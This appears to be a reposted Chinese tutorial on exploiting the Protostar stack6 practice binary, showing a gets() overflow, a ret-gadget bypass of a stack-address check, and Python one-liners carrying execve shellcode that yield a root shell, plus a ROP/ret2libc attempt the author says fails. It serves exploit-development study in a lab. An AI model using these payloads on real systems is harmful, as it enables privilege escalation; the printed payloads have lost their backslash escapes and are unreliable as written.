用ROP進行棧溢出攻擊Linux伺服器

來源:互聯網
上載者:User

通過Protostar stack6示範Linux下ROP的簡單使用,ROP就是所謂的Return Orientated Programming,早期也叫ret2libc,思路是一樣的,只是平台換到了Linux下而已。

0×01. __builtin_return_address函數


先介紹下__builtin_return_address這個函數,這個函數接收一個參數,可以是0,1,2等。__builtin_return_address(0)返回當前函數的返回地址,如果參數增大1,那麼就往上走一層擷取返回地址。Windows下好像也有個類似的函數,不過具體叫什麼忘記了。看一個例子就知道這個函數的用處了:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
void foo()
{
    printf("in foo()n");
    printf("Foo: __builtin_return_address(0) = 0x%08Xn",
        __builtin_return_address(0));
    printf("Foo: __builtin_return_address(1) = 0x%08Xn",
        __builtin_return_address(1));
    bar();
}
 
void bar()
{
    printf("in bar()n");
    printf("Bar: __builtin_return_address(0) = 0x%08Xn",
        __builtin_return_address(0));
    printf("Bar: __builtin_return_address(1) = 0x%08Xn",
        __builtin_return_address(1));
}
 
int main(int argc, char **argv)
{
    foo();
 
    return 0;
}

編譯之後用gdb調試,情況如下:

foo中調用__builtin_return_address(1)得到的結果就是main函數執行完之後的返回地址。

0×02. 直接在棧上執行Shellcode


題目的原始碼如下:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void getpath()
{
    char buffer[64];
    unsigned int ret;
 
    printf("input path please: "); fflush(stdout);
    gets(buffer);
    ret = __builtin_return_address(0);
 
    if((ret & 0xbf000000) == 0xbf000000) {
        printf("bzzzt (%p)n", ret);
        _exit(1);
    }
 
    printf("got path %sn", buffer);
}
 
int main(int argc, char **argv)
{
    getpath();
}

可以看出buffer是可以溢出的,但是後面對返回地址有一個校正,即最高位不能是0xBF,而棧的地址的最高位就是0xBF,所以不能直接跳轉到棧上面去執行Shellcode,但是我們可以通過.text中的一條ret指令作為跳轉。首先需要測試返回地址的覆蓋欄位位於輸入資料中的位置:

python -c "print 'A'*80+'B'*4" > data.txt
gdb stack6
disas getpath
b *0x080484b8   #在這裡返回地址放到了eax中
r < data.txt
info registers eax

看到eax剛好為0×42424242,也就是返回地址被覆蓋成了0×42424242。現在需要一條ret指令,可以直接取main函數的最後一條指令,通過disas main可以查看到地址為0×08048508。如果我們把返回地址覆蓋為0×08048508,那麼從getpath返回後就跑去0×08048508這個地址去執行了,而這裡又是一條返回地址,那麼我們可以在棧上放一個指向Shellcode的地址。

現在需要知道buffer的地址,在gets調用處下斷點:

disas getpath
b *0x080484aa  #這裡調用gets
info registers eax

得到buffer的地址為0xBFFFFCCC。buffer的起始地址知道了,我們就可以知道Shellcode的位置了:
0xBFFFFCCC + 80 + 4 + 4 = 0xBFFFFD24。

下面是資料的布局:

用Python產生這段資料,併當做stack6程式的輸入資料:

python -c "print 'A'*80 + 'x08x85x04x08' + 'x24xFDxFFxBF' + 'x31xc0x31xdbxb0x06xcdx80x53x68/ttyx68/devx89xe3x31xc9x66xb9x12x27xb0x05xcdx80x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80'" > data.txt
 
gdb stack6
r < data.txt
 
whoami
root

0×03. 使用ROP技術

其實上面跳轉到main函數的最後一條ret指令的方法就是使用了ROP的思想了,不過現在假設棧沒有可執行屬性,那麼上面的方法就不行了。我們可以考慮使用execve(“/bin/sh”, 0, 0) 執行shell。為此,需要先找到execve的地址,gdb下輸入如下命令:

print execve #為0xb7f2e170
print exit   #為0xb7ec60c0

通過x /1000s $esp尋找/bin/sh字串,在0xbffffefb發現字串”SHELL=/bin/bash”,我們需要的地址為0xbffffefb+6=0xBFFFFF01。當然也可以在輸入的時候直接傳入字串,不過需要控制字元串結束符,gets又不能讀(讀入的是0x0D,不是0×00),額外處理為很麻煩。上面的尋找方法是尋找進程中的環境變數字串實現的。同時我們也能找到指向0×00000000的指標,如0xBFFFFD6A,往execve的第二個第三個參數傳入這樣的指標也是可以的。

protostar stack6 通過esp尋找環境變數



現在我們的資料布局如下:

execve調用之後是不會返回的,所以填充的那個exit的地址也可以是其他的不帶NULL的資料,按我所想象的,這樣之後就可以了。

python -c "print 'A'*80 + 'x08x85x04x08' + 'x70xE1xF2xB7' + 'xC0x60xECxB7' + 'x01xFFxFFxBF' + 'x6AxFDxFFxBF' + 'x6AxFDxFFxBF'" > data.txt
 
gdb stack6
r < data.txt

不過這裡在gdb中看到,/bin/bash執行後立刻就退出了,這個估計是使用execve的方式不對,ROP思路本身是沒有問題的,下次分析下第一種方法中的Shellcode,就知道怎麼用了。

0×04. gdb調試學習


反組譯碼指定地區的資料:disas /r 0x0804a000 0x0804b000
查看函數地址:print execve
修改記憶體資料:set *((char*)0x0804aabb=0×00 選擇對應的type即可
將檔案資料作為輸入:run < 檔案路徑
將shell命令輸出作為命令列參數:run $(python -c "print 'A'*100")

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.